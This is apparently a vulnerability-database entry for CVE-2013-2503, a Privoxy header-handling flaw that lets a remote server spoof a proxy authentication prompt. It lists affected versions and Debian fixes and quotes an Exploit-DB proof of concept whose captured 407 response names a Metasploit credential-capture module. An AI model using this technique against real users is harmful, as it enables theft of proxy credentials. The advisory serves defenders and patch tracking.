CVE-2013-2503

medium
Published 2013-03-11 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
6.8

Description

Privoxy before 3.0.21 does not properly handle Proxy-Authenticate and Proxy-Authorization headers in the client-server data stream, which makes it easier for remote HTTP servers to spoof the intended proxy service via a 407 (aka Proxy Authentication Required) HTTP status code.

Predictions

Exploit likelihood
55%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-38377 webapps php verified text ยท 1 KB
Chris John Riley ยท 2013-03-11

Privoxy Proxy - Authentication Information Disclosure

text exploit Source: Exploit-DB
source: https://www.securityfocus.com/bid/58425/info

Privoxy is prone to multiple information-disclosure vulnerabilities.

Attackers can exploit these issues to gain access to the user accounts and potentially obtain sensitive information. This may aid in further attacks.

Privoxy 3.0.20 is affected; other versions may also be vulnerable. 

Response Code (current).: 407

Response Headers (as seen by your browser).:

HTTP/1.1 407 Proxy Authentication Required
Date: Mon, 11 Mar 2013 17:01:59 GMT
Server: ./msfcli auxiliary/server/capture/http set SRVPORT=80
Proxy-Authenticate: Basic
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 571
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

Request Headers (as seen by the remote website)

Host: c22.cc
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.example.com/
Connection: keep-alive

OS impact

suse SUSE Affected 1 release
VersionStatusFixed in
โ€” Affected โ€”
debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 3.0.21-1
sid Fixed 3.0.21-1
forky Fixed 3.0.21-1
bullseye Fixed 3.0.21-1
bookworm Fixed 3.0.21-1

Application impact

VendorProductVersionsFixed
privoxyprivoxy{"endIncluding":"3.0.20"}
privoxyprivoxy2.9.0
privoxyprivoxy2.9.1
privoxyprivoxy2.9.2
privoxyprivoxy2.9.3
privoxyprivoxy2.9.11
privoxyprivoxy2.9.12
privoxyprivoxy2.9.13
privoxyprivoxy2.9.14
privoxyprivoxy2.9.16
privoxyprivoxy2.9.18
privoxyprivoxy3.0
privoxyprivoxy3.0.2
privoxyprivoxy3.0.3
privoxyprivoxy3.0.5
privoxyprivoxy3.0.6
privoxyprivoxy3.0.7
privoxyprivoxy3.0.8
privoxyprivoxy3.0.9
privoxyprivoxy3.0.10
privoxyprivoxy3.0.11
privoxyprivoxy3.0.12
privoxyprivoxy3.0.13
privoxyprivoxy3.0.14
privoxyprivoxy3.0.15
privoxyprivoxy3.0.16
privoxyprivoxy3.0.17
privoxyprivoxy3.0.18
privoxyprivoxy3.0.19

References

CWEs

CWE-20

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.